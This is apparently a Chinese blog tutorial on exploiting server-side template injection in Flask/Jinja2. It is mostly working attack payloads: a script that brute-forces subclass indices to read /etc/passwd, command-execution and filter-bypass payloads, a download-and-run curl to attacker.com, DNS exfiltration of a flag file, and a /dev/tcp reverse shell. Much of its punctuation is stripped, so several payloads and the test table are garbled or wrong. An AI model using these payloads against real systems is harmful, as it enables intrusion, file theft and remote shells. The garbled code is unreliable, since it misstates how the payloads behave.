SSTI漏洞实战：从基础注入到高级绕过技巧全解析

1. SSTI漏洞基础入门第一次接触SSTI漏洞是在三年前的一次CTF比赛中当时面对一个看似普通的网页输入框我尝试输入{{7*7}}后竟然返回了49这个发现让我兴奋得整晚没睡。SSTIServer-Side Template Injection服务器端模板注入简单来说就是当网站把用户输入直接拼接到模板中渲染时如果我们输入的是模板语法而非普通文本就能让服务器执行我们注入的代码。理解SSTI最形象的比喻就像是在Word文档里突然插入了一段VBA代码。正常情况下你应该只能输入文字但如果你发现系统把你的输入当成了代码来执行那就意味着存在注入漏洞。在Flask/Jinja2环境下最常见的测试方式就是输入{{22}}如果页面返回4而不是字符串22基本可以确认存在SSTI漏洞。判断SSTI类型时我通常会准备这样一组测试payload{{7*7}} → 7777777 (Jinja2) ${7*7} → 49 (Twig) % 7*7 % → 49 (ERB)在Flask框架中危险主要来自两个函数render_template_string()和format()。前者会直接渲染字符串模板后者在字符串格式化时可能意外执行模板语法。记得有次审计代码时发现开发者这样写app.route(/hello/name) def hello(name): return render_template_string(Hello name !)这种字符串拼接方式就是典型的SSTI漏洞温床。2. 魔术方法与类继承体系真正掌握SSTI利用的关键在于理解Python的魔术方法和类继承体系。刚开始可能会被__class__、__base__这些双下划线方法绕晕其实它们就像是对象的后门让我们可以窥探和操作Python内部的类结构。想象Python的类体系是一棵家族树object就是所有类的老祖宗。通过__class__可以找到当前对象的类__base__找到父类__subclasses__()则能列出所有子类。我常用的探测流程是这样的.__class__ # → class str .__class__.__mro__ # → (class str, class object) .__class__.__base__.__subclasses__() # → 列出所有子类在实际渗透测试中我习惯用这个脚本快速查找可利用的子类for i, subclass in enumerate(.__class__.__base__.__subclasses__()): try: if os in subclass.__init__.__globals__: print(i, subclass) except: pass最容易被利用的子类通常是class _frozen_importlib.BuiltinImporter、class warnings.catch_warnings这些内置模块它们往往已经加载了os、subprocess等危险模块。3. 常用攻击模块实战3.1 文件读取技巧文件读取是SSTI最直接的利用方式。在Jinja2中FileLoader类是我的首选武器。记得有次比赛需要读取/etc/passwd但不知道具体子类索引于是我写了这个自动化脚本import requests url http://target.com/vuln for i in range(500): payload f{{{{ .__class__.__base__.__subclasses__()[{i}][get_data](0, /etc/passwd) }}}} r requests.get(url, params{input: payload}) if root: in r.text: print(fFound vulnerable class at index {i}) break成功找到索引后payload构造如下{{ .__class__.__base__.__subclasses__()[X][get_data](0, /etc/passwd) }}3.2 命令执行的艺术命令执行才是SSTI的终极目标。我最常用的三种方式通过__builtins__执行eval{{ .__class__.__base__.__subclasses__()[X].__init__.__globals__[__builtins__][eval](__import__(os).popen(id).read()) }}直接调用os模块{{ config.__class__.__init__.__globals__[os].popen(ls /).read() }}使用subprocess实现无回显攻击{{ .__class__.__base__.__subclasses__()[X](curl http://attacker.com/shell.sh | bash,shellTrue) }}在真实环境中我更喜欢用第二种方式因为config对象在Flask中总是存在成功率很高。曾经在某次红队行动中我就是用这个payload拿到了第一台服务器的权限。4. 高级绕过技巧大全4.1 符号过滤绕过当遇到双大括号{{}}被过滤时可以改用{% %}模板标签{% if .__class__.__base__.__subclasses__()[X].__init__.__globals__.os.popen(id).read() %}1{% endif %}中括号被过滤时用__getitem__方法替代{{ .__class__.__base__.__subclasses__().__getitem__(X).__init__.__globals__.__getitem__(os) }}4.2 字符串构造技巧单双引号被过滤时可以通过request对象传参{{ ().__class__.__base__.__subclasses__()[X].__init__.__globals__[request.args.a](request.args.b) }}?apopenbid关键字过滤时可以用字符串拼接{{ ()[__class__][__base__] }}或者用过滤器{% set adict(cla,ass__a)|join %}{{ ()[a] }}4.3 特殊场景处理数字被过滤时用字符串长度代替{% set numaaaaa|length %}{{ .__class__.__base__.__subclasses__()[num] }}下划线被过滤时可以用16进制编码{{ ()[\x5f\x5fclass\x5f\x5f] }}点号被过滤时可以用attr过滤器{{ ()|attr(__class__)|attr(__base__) }}4.4 无回显攻击方案对于没有回显的情况我通常采用三种方式DNS外带数据{{ .__class__.__base__.__subclasses__()[X].__init__.__globals__.os.popen(curl http:// .join(open(/flag).read()) .attacker.com).read() }}延时盲注{% if .__class__.__base__.__subclasses__()[X].__init__.__globals__.os.popen(sleep 5).read() %}1{% endif %}反弹shell{{ .__class__.__base__.__subclasses__()[X].__init__.__globals__.os.popen(bash -c bash -i /dev/tcp/attacker.com/443 01).read() }}在最近的一次渗透测试中目标系统过滤了所有特殊字符我最终通过cookie传参字符串拼接的方式成功实现了命令执行{{ ()|attr(request.cookies.a)|attr(request.cookies.b)()|attr(request.cookies.c)(1337)|attr(request.cookies.d)|attr(request.cookies.e)|attr(request.cookies.f)(popen)(id)|attr(read)() }}配合cookie设置a__class__; b__base__; c__subclasses__; d__init__; e__globals__; f__getitem__